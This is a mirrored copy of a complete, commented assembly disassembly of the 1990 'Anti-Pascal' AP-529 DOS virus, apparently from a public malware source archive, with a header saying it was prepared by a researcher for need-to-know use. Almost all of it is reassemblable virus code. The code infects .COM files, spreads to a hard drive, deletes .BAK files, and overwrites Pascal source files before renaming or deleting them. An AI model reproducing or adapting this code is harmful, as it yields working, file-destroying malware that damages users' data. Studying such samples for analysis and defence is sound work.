mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
341 lines
8.6 KiB
NASM
341 lines
8.6 KiB
NASM
page ,132
|
||
name AP529
|
||
title AP529 - The 'Anti-Pascal' Virus, version AP-529
|
||
.radix 16
|
||
|
||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
|
||
; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º
|
||
; º º
|
||
; º The 'Anti-Pascal' Virus, version AP-529 º
|
||
; º Disassembled by Vesselin Bontchev, June 1990 º
|
||
; º º
|
||
; º Copyright (c) Vesselin Bontchev 1989, 1990 º
|
||
; º º
|
||
; º This listing is only to be made available to virus researchers º
|
||
; º or software writers on a need-to-know basis. º
|
||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||
|
||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||
|
||
code segment
|
||
assume cs:code,ds:code
|
||
|
||
org 100
|
||
|
||
vlen = v_end-start
|
||
crit equ 12 ; Address of the original INT 24h handler
|
||
|
||
start:
|
||
push ax ; Save registers used
|
||
push cx
|
||
push si
|
||
push di
|
||
push bx
|
||
push flen ; Save current file length
|
||
|
||
; The operand of the instruction above is used as a signature by the virus
|
||
|
||
sign equ $-2
|
||
|
||
jmp short v_start ; Go to virus start
|
||
|
||
flen dw vlen ; File length before infection
|
||
f_name db 13d dup (?) ; File name buffer for the rename function call
|
||
fmask db '*.' ; Mask for FindFirst/FindNext
|
||
fext db 'com', 0 ; The extension part of the file mask
|
||
parent db '..', 0 ; Path for changing to the parent dir
|
||
|
||
com db 'com' ; File extensions used
|
||
bak db 'bak'
|
||
pas db 'pas'
|
||
wild db '???'
|
||
exe db 'exe'
|
||
|
||
dta equ $ ; Disk Transfer Address area
|
||
drive db ? ;Drive to search for
|
||
pattern db 11d dup (?) ;Search pattern
|
||
reserve db 9 dup (?) ;Not used
|
||
attrib db ? ;File attribute
|
||
time dw ? ;File time
|
||
date dw ? ;File date
|
||
fsize dd ? ;File size
|
||
namez db 14d dup (?) ;File name found
|
||
|
||
mem_seg dw ? ; Segment of the allocated I/O buffer
|
||
sizehld dw ? ; Size holder
|
||
|
||
v_start:
|
||
mov bx,1000 ; Shrink program memory size to 64 K
|
||
mov ah,4A
|
||
int 21 ; Do it
|
||
|
||
mov ah,48 ; Allocate I/O buffer in memory
|
||
mov bx,vlen/16d+1 ; (at least vlen long)
|
||
int 21 ; Do it
|
||
jc cleanup ; Exit on error
|
||
mov mem_seg,ax ; Save the segment of the allocated memory
|
||
|
||
mov ax,2524 ; Set critical error handler
|
||
mov dx,offset int_24
|
||
int 21 ; Do it
|
||
|
||
mov ah,1A ; Set new DTA area
|
||
mov dx,offset dta
|
||
int 21 ; Do it
|
||
|
||
mov ah,19 ; Get default drive
|
||
int 21
|
||
push ax ; Save it on stack
|
||
|
||
call infect ; Proceed with infection
|
||
|
||
int 11 ; Put equipment bits in ax
|
||
test ax,1 ; Diskette drives present?
|
||
jz cleanup ; Exit if not (?!)
|
||
|
||
shl ax,1 ; Get number of floppy disk drives
|
||
shl ax,1 ; in AH (0-3 means 1-4 drives)
|
||
and ah,3
|
||
|
||
add ah,2 ; Convert the number of drives to
|
||
mov al,ah ; the range 2-5 and put it into BL
|
||
mov bx,ax
|
||
xor bh,bh
|
||
|
||
cmp bl,3 ; More than 2 floppy drives?
|
||
ja many ; Check if the highest one is removable if so
|
||
mov bl,3 ; Otherwise check disk C:
|
||
many:
|
||
mov ax,4408 ; Check whether device is removable
|
||
int 21
|
||
jc cleanup ; Exit on error (network)
|
||
or ax,ax ; Is device removable?
|
||
jz cleanup ; Exit if so
|
||
|
||
mov dl,bl ; Otherwise select it as default
|
||
dec dl
|
||
mov ah,0E
|
||
int 21 ; Do it
|
||
|
||
call infect ; Proceed with this drive also
|
||
|
||
cleanup:
|
||
pop dx ; Restore saved default disk from stack
|
||
mov ah,0E ; Set default drive
|
||
int 21 ; Do it
|
||
|
||
pop flen ; Restore flen
|
||
|
||
mov es,mem_seg ; Free allocated memory
|
||
mov ah,49
|
||
int 21 ; Do it
|
||
|
||
mov ah,4A ; Get all the available memory
|
||
push ds ; ES := DS
|
||
pop es
|
||
mov bx,-1
|
||
int 21 ; Do it
|
||
|
||
mov ah,4A ; Assign it to the program (the initial state)
|
||
int 21 ; Do it
|
||
|
||
mov dx,80 ; Restore old DTA
|
||
mov ah,1A
|
||
int 21 ; Do it
|
||
|
||
mov ax,2524 ; Restore old critical error handler
|
||
push ds ; Save DS
|
||
lds dx,dword ptr ds:[crit]
|
||
int 21 ; Do it
|
||
pop ds ; Restore DS
|
||
|
||
pop bx ; Restore BX
|
||
|
||
mov ax,4F ; Copy the program at exit_pgm into
|
||
mov es,ax ; the Intra-Aplication Communication
|
||
xor di,di ; Area (0000:04F0h)
|
||
mov si,offset exit_pgm
|
||
mov cx,pgm_end-exit_pgm ; exit_pgm length
|
||
cld
|
||
rep movsb ; Do it
|
||
mov ax,ds ; Correct the Far JMP instruction with
|
||
stosw ; the current DS value
|
||
|
||
mov di,offset start ; Prepare for moving vlen bytes
|
||
mov si,flen ; from file end to start
|
||
add si,di
|
||
mov cx,vlen
|
||
push ds ; ES := DS
|
||
pop es
|
||
; jmp far ptr 004F:0000 ; Go to exit_pgm
|
||
db 0EA, 0, 0, 4F, 0
|
||
|
||
exit_pgm:
|
||
rep movsb ; Restore the original bytes of the file
|
||
pop di ; Restore registers used
|
||
pop si
|
||
pop cx
|
||
pop ax
|
||
db 0EA, 0, 1 ; JMP Far at XXXX:0100
|
||
pgm_end equ $
|
||
|
||
lseek:
|
||
mov ah,42
|
||
xor cx,cx ; Offset := 0
|
||
xor dx,dx
|
||
int 21 ; Do it
|
||
ret ; And exit
|
||
|
||
f_first: ; Find first file with extension pointed by SI
|
||
mov di,offset fext ; Point DI at extension part of fmask
|
||
cld ; Clear direction flag
|
||
movsw ; Copy the extension pointed by SI
|
||
movsb ; to file mask for FindFirst/FindNext
|
||
mov ah,4E ; Find first file matching fmask
|
||
mov cx,20 ; Normal files only
|
||
mov dx,offset fmask
|
||
ret ; Exit
|
||
|
||
wr_body:
|
||
mov ax,3D02 ; Open file for reading and writing
|
||
mov dx,offset namez ; FIle name is in namez
|
||
int 21 ; Do it
|
||
mov bx,ax ; Save handle in BX
|
||
|
||
mov ah,3F ; Read the first vlen bytes of the file
|
||
mov cx,vlen ; in the allocated memory buffer
|
||
push ds ; Save DS
|
||
mov ds,mem_seg
|
||
xor dx,dx
|
||
int 21 ; Do it
|
||
|
||
mov ax,ds:[sign-start] ; Get virus signature
|
||
pop ds ; Restore DS
|
||
cmp ax,word ptr ds:[offset sign] ; File already infected?
|
||
je is_inf ; Exit if so
|
||
push ax ; Save AX
|
||
mov al,0 ; Lseek to the file beginning
|
||
call lseek ; Do it
|
||
mov ah,40 ; Write virus body over the
|
||
mov dx,offset start ; first bytes of the file
|
||
mov cx,sizehld ; Number of bytes to write
|
||
int 21 ; Do it
|
||
|
||
pop ax ; Restore AX
|
||
clc ; CF == 0 means infection successfully done
|
||
ret ; Exit
|
||
is_inf:
|
||
stc ; CF == 1 means file already infected
|
||
ret ; Exit
|
||
|
||
rename:
|
||
push si ; Save SI
|
||
mov si,offset namez ; Point SI at file name
|
||
mov dx,si ; Point DX there too
|
||
mov di,offset f_name ; Point DI at the name buffer
|
||
|
||
cpy_name:
|
||
lodsb ; Get byte from the file name
|
||
stosb ; Store it in the name buffer
|
||
cmp al,'.' ; Is all the name (up to the extension) copied?
|
||
jne cpy_name ; Loop if not
|
||
|
||
pop si ; Restore SI
|
||
movsw ; Copy the new extension
|
||
movsb ; into the file name buffer
|
||
xor al,al ; Make the file name ASCIIZ
|
||
stosb ; by placing a zero after it
|
||
|
||
mov ah,56 ; Now rename the file to the new extension
|
||
mov di,offset f_name
|
||
int 21 ; Do it
|
||
ret ; Done. Exit
|
||
|
||
infect:
|
||
mov si,offset com ; Find the first .COM file in this dir
|
||
call f_first
|
||
f_next2:
|
||
int 21 ; Do it
|
||
jc pass_2 ; Do damage if no such files
|
||
|
||
mov ax,word ptr fsize ; Check the size of the file found
|
||
cmp ax,vlen ; Less than virus length?
|
||
jb next ; Too small, don't touch
|
||
cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen?
|
||
ja next ; Too big, don't touch
|
||
mov flen,ax ; Save file length
|
||
mov sizehld,vlen
|
||
call wr_body ; Write virus body over the file
|
||
jc next ; Exit on error
|
||
mov al,2 ; Lseek to file end
|
||
call lseek ; Do it
|
||
push ds ; Save DS
|
||
mov ds,mem_seg ; Write the original bytes from
|
||
mov cx,vlen ; the file beginning after its end
|
||
xor dx,dx
|
||
mov ah,40
|
||
int 21 ; Do it
|
||
pop ds ; Restore DS
|
||
|
||
close:
|
||
mov ah,3E ; Close the file handle
|
||
int 21 ; Do it
|
||
ret ; And exit
|
||
|
||
next:
|
||
call close ; Close the file
|
||
mov ah,4F ; And go find another one
|
||
jmp f_next2
|
||
|
||
pass_2:
|
||
mov si,offset bak ; Find a *.BAK file
|
||
call f_first ; Do it
|
||
int 21
|
||
jc pas_srch ; On error search for *.PAS files
|
||
mov dx,offset namez ; Otherwise delete the file
|
||
mov ah,41 ; Do it
|
||
int 21
|
||
|
||
pas_srch:
|
||
mov si,offset pas ; Find a *.PAS file
|
||
call f_first ; Do it
|
||
int 21
|
||
jc inf_xit ; Exit on error
|
||
|
||
mov ax,word ptr fsize
|
||
mov sizehld,ax ; Save file size
|
||
call wr_body ; Overwrite the file with the virus body
|
||
call close ; Close it
|
||
mov si,offset com ; Try to rename it as a .COM file
|
||
call rename ; Do it
|
||
jnc inf_xit ; Exit if renaming OK
|
||
mov si,offset exe ; Otherwise try to rename it as an .EXE file
|
||
call rename ; Do it
|
||
jnc inf_xit ; Exit if renaming OK
|
||
mov ah,41 ; Otherwise just delete that stupid file
|
||
int 21 ; Do it
|
||
inf_xit:
|
||
ret ; And exit
|
||
|
||
int_24: ; Critical error handler
|
||
mov al,2 ; Abort suggested (?!)
|
||
iret ; Return
|
||
|
||
v_end = $
|
||
|
||
; Here goes the rest of the original program (if any):
|
||
|
||
; And here (after the end of file) are the overwritten first 529 bytes:
|
||
|
||
jmp quit ; The original "program"
|
||
|
||
db (529d - 8) dup (90)
|
||
|
||
quit:
|
||
mov ax,4C00 ; Just exit
|
||
int 21
|
||
|
||
code ends
|
||
end start
|
||
|